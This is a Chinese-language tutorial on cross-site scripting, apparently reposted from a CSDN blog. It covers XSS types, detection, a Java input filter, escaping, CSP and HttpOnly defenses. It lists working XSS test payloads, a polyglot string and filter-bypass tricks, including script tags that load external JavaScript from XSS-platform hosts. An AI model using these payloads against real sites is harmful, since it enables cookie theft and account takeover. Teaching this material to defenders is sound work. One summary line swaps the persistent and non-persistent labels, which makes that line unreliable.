[點晴永久免費(fèi)OA]XSS的攻擊原理與防御原理
當(dāng)前位置：點晴教程→點晴OA辦公管理信息系統(tǒng)
→『 經(jīng)驗分享&問題答疑 』
xss又稱跨站腳本攻擊，原稱為css（Cross-Site Scripting），因為和層疊樣式表(Cascading Style Sheets)重名，所以又稱為xss(x一般有未知的含義，還有擴(kuò)展的含義)。 XSS的攻擊原理 xss攻擊涉及到了攻擊者，用戶和web server。主要是利用了網(wǎng)站本身設(shè)計的不嚴(yán)謹(jǐn)性，攻擊者通過對網(wǎng)頁插入惡意的攻擊腳本，導(dǎo)致當(dāng)用戶在瀏覽網(wǎng)頁的時候，嵌入其中的攻擊腳本就會被執(zhí)行，從而達(dá)到惡意攻擊用戶的特殊目的。攻擊者通過xss攻擊，可以獲取到用戶的cookie，然后發(fā)送給攻擊者想要攻擊的網(wǎng)站，因為跨站了，所以也稱為跨站腳本攻擊。 XSS的分類 根據(jù)攻擊的來源，xss攻擊的分類主要分為：反射型xss、存儲型xss和DOM型xss三種。 反射型xss 反射型xss，也叫“非持久型xss”。用戶點擊攻擊鏈接，觸發(fā)了惡意腳本，服務(wù)器解析后響應(yīng)，在返回的響應(yīng)內(nèi)容中出現(xiàn)攻擊者的xss代碼，被瀏覽器執(zhí)行。一來一去，xss攻擊腳本被web server反射回來給瀏覽器執(zhí)行，所以稱為反射型xss。 反射型xss的攻擊步驟： 1、攻擊者構(gòu)造出特殊的URL，其中包含惡意代碼； 2、用戶打開帶有惡意代碼的URL時，網(wǎng)站服務(wù)端將惡意代碼從URL中取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，混在其中的惡意代碼也被執(zhí)行； 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 特點： 1、攻擊腳本非持久性，沒有保存在web server中，而是直接出現(xiàn)在了URL地址中； 2、反射型xss漏洞常見于通過URL傳遞參數(shù)的功能，如網(wǎng)站搜索、跳轉(zhuǎn)等； 3、由于需要用戶主動打開惡意的URL才能生效，攻擊者往往會結(jié)合多種手段誘導(dǎo)用戶點擊。一般通過郵件、社交軟件等方式直接發(fā)送攻擊URL，通過用戶的點擊來達(dá)到攻擊目的的。 POST的內(nèi)容也可以觸發(fā)反射型xss，只不過其觸發(fā)條件比較苛刻，需要構(gòu)造表單提交頁面，并引導(dǎo)用戶點擊，所以非常少見。 存儲型xss 存儲型xss，也叫“持久型xss”，相比反射型xss，存儲型xss是把惡意腳本保存到了web server中的，這種攻擊具有較強(qiáng)的穩(wěn)定性和持久性，危害性也更大。這樣每一個訪問特定網(wǎng)頁的用戶，都會受到攻擊。 存儲型xss的攻擊步驟： 1、攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫中； 2、用戶打開目標(biāo)網(wǎng)站時，網(wǎng)站服務(wù)端將惡意代碼從數(shù)據(jù)庫取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，混在其中的惡意代碼也被執(zhí)行； 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 特點： 1、攻擊腳本持久性，保存在web server中； 2、這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能，一般通過論壇發(fā)帖、商品評論、用戶私信等功能（所有能夠向web server輸入內(nèi)容的地方），將攻擊腳本存儲到web server中。 有時候反射型xss和存儲型xss是同時使用的，比如：先通過對一個攻擊url進(jìn)行編碼（來繞過xss filter），提交到web server（存儲在web server中），然后用戶在瀏覽頁面時，如果點擊該url，就會觸發(fā)一個xss攻擊。當(dāng)然用戶點擊該url時，也可能會觸發(fā)一個CSRF（Cross site request forgery）攻擊。 DOM型xss DOM（Document Object Model） --based 漏洞是基于文檔對象模型的一種漏洞，通過修改頁面的DOM節(jié)點而形成的xss漏洞。 DOM型xss的攻擊步驟： 1、攻擊者構(gòu)造出特殊的URL，其中包含惡意代碼。 2、用戶打開帶有惡意代碼的URL。 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，前端JavaScript取出URL中的惡意代碼并執(zhí)行。 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 DOM 型 XSS 跟前兩種 XSS 的區(qū)別：DOM 型 XSS 攻擊中，取出和執(zhí)行惡意代碼由瀏覽器端完成，屬于前端 JavaScript 自身的安全漏洞，而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。 特點： 1、攻擊腳本不與服務(wù)端交互的，只與客戶端上的js交互，攻擊腳本放到了js中執(zhí)行，然后顯示出來； 2、DOM型xss也是一種反射型xss。 小結(jié) 反射型xss跟存儲型xss的區(qū)別是：存儲型xss非持久性，攻擊腳本存在服務(wù)器里，反射型xss持久性，攻擊腳本存在URL里。 DOM型xss跟前兩種xss的區(qū)別：DOM型xss，是通過修改頁面的DOM節(jié)點來形成xss的，取出和執(zhí)行惡意代碼由瀏覽器端完成，屬于前端JavaScript自身的安全漏洞，而其他兩種xss都屬于服務(wù)端的安全漏洞。 類型 存儲區(qū) 插入點 存儲型 XSS 后端數(shù)據(jù)庫 HTML 反射型 XSS URL HTML DOM型 XSS 后端數(shù)據(jù)庫/前端存儲/URL 前端 JavaScript XSS漏洞的檢測 xss探針 xss探針可檢測出網(wǎng)站有沒有對xss漏洞做最基礎(chǔ)的防御。 在測試xss的位置寫入代碼，查看頁面源碼，看看哪些代碼被過濾或者轉(zhuǎn)義了。 '''';!--"<XSS>=&{()} 1 xss語句 除了xss探針以外，還可以輸入最簡單的測試語句 <script>alert(/xss/)</script> 1 如果插入的語句原封不動的呈現(xiàn)在了瀏覽器中，那么說明： 代碼沒有被過濾，存在xss； 代碼沒有被執(zhí)行，因為沒有閉合類似textarea標(biāo)簽，可以查看下源碼。 常用的xss檢測語句 <script>alert(/xss/);</script> <script>alert(/xss/)// <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號，也可以分號+空格（回車一起使用） <img src=1 onmouseover=alert(1)> <a herf=1 onload=alert(1)>nmask</a> <script>window.a==1?1:prompt(a=1)</script> <script>a=prompt;a(1)</script> <img src=0 onerror=confirm(''1'')> <script>alert(1)</script> <script src="http://xsspt.com/vA4t1W?1542101296"></script> <img src=x onerror=alert(1)> <a href="javascript:alert(1)">xss</a> <svg onload=alert(1)> <input type="text" name="test" onclick=alert(1)> <iframe src="javascript:alert(/xss/)">xss</iframe> <iframe srcdoc="<script>alert(1)</script>"> 使用GIthub上的終極xss工具 ?傳送門 jaVasCript:/*-/*`/*\`/*''/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 1 它能夠檢測到存在于HTML屬性、HTML文字內(nèi)容、HTML注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián)JavaScript字符串、內(nèi)聯(lián)CSS 樣式表等多種上下文中的XSS漏洞，也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write()等DOMXSS漏洞，并且能繞過一些XSS過濾器。 只要在網(wǎng)站的各輸入框中提交這個字符串，或者把它拼接到URL參數(shù)上，就可以進(jìn)行檢測了。 自動化掃描工具 除了手動檢測之外，還可以使用自動掃描工具尋找xss漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。 XSS產(chǎn)生的原因 xss存在的根本原因是，對URL中的參數(shù)，對用戶輸入提交給web server的內(nèi)容，沒有進(jìn)行充分的過濾。如果我們能夠在web程序中，對用戶提交的URL中的參數(shù)，和提交的所有內(nèi)容，進(jìn)行充分的過濾，將所有的不合法的參數(shù)和輸入內(nèi)容過濾掉，那么就不會導(dǎo)致在用戶的瀏覽器中執(zhí)行攻擊者自己定制的腳本。 但是，其實充分而完全的過濾，實際上是無法實現(xiàn)的。因為攻擊者有各種各樣的神奇的，你完全想象不到的方式來繞過服務(wù)器端的過濾，最典型的就是對URL和參數(shù)進(jìn)行各種的編碼，比如escape，encodeURI，encodeURIComponent，8進(jìn)制，10進(jìn)制，16進(jìn)制，來繞過xss過濾。那么我們?nèi)绾蝸矸烙鵻ss呢？ XSS攻擊的防御 XSS 攻擊有兩大要素： 1、攻擊者提交惡意代碼。 2、瀏覽器執(zhí)行惡意代碼。 比較常規(guī)的思路是：對輸入和URL參數(shù)進(jìn)行過濾，對輸出進(jìn)行編碼。也就是對提交的所有內(nèi)容進(jìn)行過濾，對url中的參數(shù)進(jìn)行過濾，過濾掉會導(dǎo)致腳本執(zhí)行的相關(guān)內(nèi)容。然后對動態(tài)輸出到頁面的內(nèi)容進(jìn)行html編碼，使腳本無法在瀏覽器中執(zhí)行。雖然對輸入過濾可以被繞過，但是也還是會攔截很大一部分的xss攻擊。 XSS filter 對輸入和URL參數(shù)進(jìn)行過濾（黑白名單），常用的xss filter的實現(xiàn)代碼： public class XssFilter implements Filter { public void init(FilterConfig config) throws ServletException {} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request); chain.doFilter(xssRequest, response); } public void destroy() {} } public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { HttpServletRequest orgRequest = null; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } /** * 覆蓋getParameter方法，將參數(shù)名和參數(shù)值都做xss過濾。<br/> * 如果需要獲得原始的值，則通過super.getParameterValues(name)來獲取<br/> * getParameterNames,getParameterValues和getParameterMap也可能需要覆蓋 */ @Override public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 覆蓋getHeader方法，將參數(shù)名和參數(shù)值都做xss過濾。<br/> * 如果需要獲得原始的值，則通過super.getHeaders(name)來獲取<br/> * getHeaderNames 也可能需要覆蓋 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 將容易引起xss漏洞的半角字符直接替換成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case ''>'': sb.append(''>'');// 全角大于號 break; case ''<'': sb.append(''<'');// 全角小于號 break; case ''\'''': sb.append(''‘'');// 全角單引號 break; case ''\"'': sb.append(''“'');// 全角雙引號 break; case ''&'': sb.append(''＆'');// 全角 break; case ''\\'': sb.append(''＼'');// 全角斜線 break; case ''#'': sb.append(''＃'');// 全角井號 break; case ''%'': // < 字符的 URL 編碼形式表示的 ASCII 字符（十六進(jìn)制格式） 是: %3c processUrlEncoder(sb, s, i); break; default: sb.append(c); break; } } return sb.toString(); } public static void processUrlEncoder(StringBuilder sb, String s, int index){ if(s.length() >= index + 2){ if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''c'' || s.charAt(index+2) == ''C'')){ // %3c, %3C sb.append(''<''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''0''){ // %3c (0x3c=60) sb.append(''<''); return; } if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''e'' || s.charAt(index+2) == ''E'')){ // %3e, %3E sb.append(''>''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''2''){ // %3e (0x3e=62) sb.append(''>''); return; } } sb.append(s.charAt(index)); } /** * 獲取最原始的request * * @return */ public HttpServletRequest getOrgRequest() { return orgRequest; } /** * 獲取最原始的request的靜態(tài)方法 * * @return */ public static HttpServletRequest getOrgRequest(HttpServletRequest req) { if (req instanceof XssHttpServletRequestWrapper) { return ((XssHttpServletRequestWrapper) req).getOrgRequest(); } return req; } } 然后在web.xml中配置該filter： <filter> <filter-name>xssFilter</filter-name> <filter-class>com.xxxxxx.filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 主要的思路就是將容易導(dǎo)致XSS攻擊的邊角字符替換成全角字符。<和>是腳本執(zhí)行和各種html標(biāo)簽需要的，比如 <script>，&和 #以及 %在對URL編碼試圖繞過xss filter時，會出現(xiàn)。我們說對輸入的過濾分為白名單和黑名單。上面的xss filter就是一種黑名單的過濾，黑名單就是列出不能出現(xiàn)的對象的清單，一旦出現(xiàn)就進(jìn)行處理。還有一種白名單的過濾，白名單就是列出可被接受的內(nèi)容，比如規(guī)定所有的輸入只能是大小寫的26個英文字母和10個數(shù)字，還有-和_，所有其他的輸入都是非法的，會被拋棄掉。很顯然如此嚴(yán)格的白名單是可以100%攔截所有的xss攻擊的，但是現(xiàn)實情況一般是不能進(jìn)行如此嚴(yán)格的白名單過濾的。 對于輸入，處理使用xss filter之外，對于每一個輸入，在客戶端和服務(wù)器端還要進(jìn)行各種驗證，驗證是否合法字符，長度是否合法，格式是否正確。在客戶端和服務(wù)端都要進(jìn)行驗證，因為客戶端的驗證很容易被繞過。其實這種驗證也分為了黑名單和白名單。黑名單的驗證就是不能出現(xiàn)某些字符，白名單的驗證就是只能出現(xiàn)某些字符。盡量使用白名單，雖然白名單無法完全杜絕xss，但是使用不當(dāng)?shù)脑捒赡軙砗芨叩恼`報率。 存儲型和反射型XSS攻擊的防御 存儲型和反射型xss都是在服務(wù)端取出惡意代碼后，插入到響應(yīng)HTML里的，攻擊者刻意編寫的“數(shù)據(jù)”被內(nèi)嵌到“代碼”中，被瀏覽器所執(zhí)行。 預(yù)防這兩種漏洞，有兩種常見做法： 改成純前端渲染，把代碼和數(shù)據(jù)分隔開。 純前端渲染的過程： 1、瀏覽器先加載一個靜態(tài)HTML，此HTML中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)。 2、然后瀏覽器執(zhí)行HTML中的JavaScript。 3、JavaScript通過Ajax加載業(yè)務(wù)數(shù)據(jù)，調(diào)用DOM API更新到頁面上。 在純前端渲染中，我們會明確的告訴瀏覽器：下面要設(shè)置的內(nèi)容是文本.innerText，還是屬性.setAttribute，還是樣式.style等等。瀏覽器不會被輕易的被欺騙，執(zhí)行預(yù)期外的代碼了。 但純前端渲染還需注意避免DOM型xss漏洞，例如 onload 事件和 href 中的 javascript:xxx 等。在很多內(nèi)部、管理系統(tǒng)中，采用純前端渲染是非常合適的。但對于性能要求高，或有 SEO 需求的頁面，我們?nèi)匀灰鎸ζ唇親TML的問題。 對HTML做充分轉(zhuǎn)義。 如果拼接HTML是必要的，就需要采用合適的轉(zhuǎn)義庫，對HTML模板各處插入點進(jìn)行充分的轉(zhuǎn)義。 對于HTML轉(zhuǎn)義通常只有一個規(guī)則，就是把 & < > " '' / 這幾個字符轉(zhuǎn)義掉，確實能起到一定的xss防護(hù)作用，但并不完善。要完善xss防護(hù)措施，要使用更完善更細(xì)致的轉(zhuǎn)義策略。例如Java工程里，常用的轉(zhuǎn)義庫為 org.owasp.encoder。 XSS 安全漏洞 簡單轉(zhuǎn)義是否有防護(hù)作用 HTML 標(biāo)簽文字內(nèi)容 有 HTML 屬性值 有 CSS 內(nèi)聯(lián)樣式 無 內(nèi)聯(lián) JavaScript 無 內(nèi)聯(lián) JSON 無 跳轉(zhuǎn)鏈接 無 在輸出數(shù)據(jù)之前對潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義對xss攻擊能起到一定的防御作用。 對所有要動態(tài)輸出到頁面的內(nèi)容，通通進(jìn)行相關(guān)的編碼和轉(zhuǎn)義。當(dāng)然轉(zhuǎn)義是按照其輸出的上下文環(huán)境來決定如何轉(zhuǎn)義的。 作為body文本輸出，html標(biāo)簽的屬性輸出，比如： <span>${username}</span> <p><c:out value="${username}"></c:out></p> <input type="text" value="${username}" /> 此時的轉(zhuǎn)義規(guī)則如下： <轉(zhuǎn)成 < >轉(zhuǎn)成 > & 轉(zhuǎn)成 & "轉(zhuǎn)成 " ''轉(zhuǎn)成 ' \轉(zhuǎn)成\\ /轉(zhuǎn)成 \/ ;轉(zhuǎn)成 ；(全角;) javascript事件 <input type="button" οnclick=''go_to_url("${myUrl}");'' /> URL屬性 如果 <script>、<style>、<imt>等標(biāo)簽的 src 和 href 屬性值為動態(tài)內(nèi)容，那么要確保這些URL沒有執(zhí)行惡意連接。確保：href和 src的值必須以 http://開頭，白名單方式；不能有10進(jìn)制和16進(jìn)制編碼字符。 DOM型XSS攻擊的防御 DOM型xss攻擊，實際上就是網(wǎng)站前端JavaScript代碼本身不夠嚴(yán)謹(jǐn)，把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。 在使用 .innerHTML、.outerHTML、document.write() 時要特別小心，不要把不可信的數(shù)據(jù)作為HTML插到頁面上，而應(yīng)盡量使用 .textContent、.setAttribute() 等。 如果用Vue/React技術(shù)棧，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端render階段避免 innerHTML、outerHTML 的xss隱患。 DOM中的內(nèi)聯(lián)事件監(jiān)聽器，如 location、onclick、onerror、onload、onmouseover 等，<a> 標(biāo)簽的 href 屬性，JavaScript的 eval()、setTimeout()、setInterval()等，都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些API，很容易產(chǎn)生安全隱患，請務(wù)必避免。 <!-- 內(nèi)聯(lián)事件監(jiān)聽器中包含惡意代碼 --> < img onclick = "UNTRUSTED" onerror = "UNTRUSTED" src = "data:image/png," > <!-- 鏈接內(nèi)包含惡意代碼 --> < a href = "UNTRUSTED" > 1 </ a > < script > // setTimeout()/setInterval() 中調(diào)用惡意代碼 setTimeout( "UNTRUSTED" ) setInterval( "UNTRUSTED" ) // location 調(diào)用惡意代碼 location.href = ''UNTRUSTED'' // eval() 中調(diào)用惡意代碼 eval ( "UNTRUSTED" ) </ script > 其他xss攻擊的防御 HttpOnly xss一般利用js腳本讀取用戶瀏覽器中的Cookie，而如果在服務(wù)器端對 Cookie 設(shè)置了HttpOnly 屬性，那么js腳本將無法讀取到cookie，但是瀏覽器還是能夠正常使用cookie，這樣能有效的防止xss的攻擊。 一般的Cookie都是從document對象中獲得的，現(xiàn)在瀏覽器在設(shè)置 Cookie的時候一般都接受一個叫做HttpOnly的參數(shù)，跟domain等其他參數(shù)一樣，一旦這個HttpOnly被設(shè)置，你在瀏覽器的 document對象中就看不到Cookie了，而瀏覽器在瀏覽的時候不受任何影響，因為Cookie會被放在瀏覽器頭中發(fā)送出去(包括ajax的時候)，應(yīng)用程序也一般不會在js里操作這些敏感Cookie的，對于一些敏感的Cookie我們采用HttpOnly，對于一些需要在應(yīng)用程序中用js操作的cookie我們就不予設(shè)置，這樣就保障了Cookie信息的安全也保證了應(yīng)用。 Content Security Policy（內(nèi)容安全策略） 嚴(yán)格的CSP在XSS的防范中可以起到以下的作用： 禁止加載外域代碼，防止復(fù)雜的攻擊邏輯。 禁止外域提交，網(wǎng)站被攻擊后，用戶的數(shù)據(jù)不會泄露到外域。 禁止內(nèi)聯(lián)腳本執(zhí)行（規(guī)則較嚴(yán)格，目前發(fā)現(xiàn) GitHub 使用）。 禁止未授權(quán)的腳本執(zhí)行（新特性，Google Map 移動版在使用）。 合理使用上報可以及時發(fā)現(xiàn) XSS，利于盡快修復(fù)問題。 輸入內(nèi)容長度控制 對于不受信任的輸入，都應(yīng)該限定一個合理的長度。雖然無法完全防止xss發(fā)生，但可以增加xss攻擊的難度。 小結(jié) XSS攻擊防御方法：XSS filter；純前端渲染，數(shù)據(jù)分離；HTML轉(zhuǎn)義；設(shè)置HttpOnly屬性；設(shè)置CSP；限制輸入內(nèi)容的長度 XSS繞過的技巧 有xss防御便會有xss繞過防御姿勢，這是攻與防不斷博弈的表現(xiàn)與成果。 大小寫繞過 <Script>alert(1)</Script> 雙寫繞 <scrscriptipt>alert(1)</scrscriptipt> 替換繞過 過濾 alert 用prompt，confirm，top[''alert''](1)代替繞過過濾() 用``代替繞過過濾空格 用%0a（換行符）,%0d（回車符），/**/代替繞過小寫轉(zhuǎn)大寫情況下 字符ſ大寫后為S（ſ不等于s） %00截斷繞過 <a href=javascr%00ipt:alert(1)>xss</a> 編碼繞過 實體編碼 javascript:alert(1) 十六進(jìn)制 javascript:alert(1) 十進(jìn)制 unicode編碼 javascrip\u0074:alert(1) url編碼 javascrip%74:alert(1) fromCharCode方法繞過 String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59) eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)) javascript偽協(xié)議繞過 無法閉合雙引號的情況下，就無法使用onclick等事件，只能偽協(xié)議繞過，或者調(diào)用外部js 換行繞過正則匹配 onmousedown =alert(1) 注釋符 // 單行注釋 <!-- --!> 注釋多行內(nèi)容 <!-- --> 注釋多行內(nèi)容 <-- --> 注釋多行內(nèi)容 <-- --！> 注釋多行內(nèi)容 --> 單行注釋后面內(nèi)容 /* */ 多行注釋 有時還可以利用瀏覽器的容錯性，不需要注釋 閉合標(biāo)簽空格繞過 </style ><script>alert(1)</script> @符號繞過url限制 https://www.segmentfault.com@xss.haozi.me/j.js 其實訪問的是@后面的內(nèi)容 ")逃逸函數(shù)后接分號 ");alert(1)// \繞過轉(zhuǎn)義限制 \") alert(1) // XSS練習(xí)平臺 以下是幾個XSS攻擊小游戲，開發(fā)者在網(wǎng)站上故意留下了一些常見的 XSS 漏洞。玩家在網(wǎng)頁上提交相應(yīng)的輸入，完成 XSS 攻擊即可通關(guān)。 alert(1) to win prompt(1) to win XSS game XSS Challenges 參考資料 前端安全系列（一）：如何防止XSS攻擊？ 淺談跨站腳本攻擊與防御 面試問題如何預(yù)防xss攻擊 xss攻擊原理與解決方法 XSS攻擊及預(yù)防 OWASP Top 10 - 2017 ———————————————— 版權(quán)聲明：本文為CSDN博主「小曉曉曉林」的原創(chuàng)文章，遵循 CC 4.0 BY-SA 版權(quán)協(xié)議，轉(zhuǎn)載請附上原文出處鏈接及本聲明。
該文章在 2020/4/8 11:13:59 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... 
|
400 186 1886
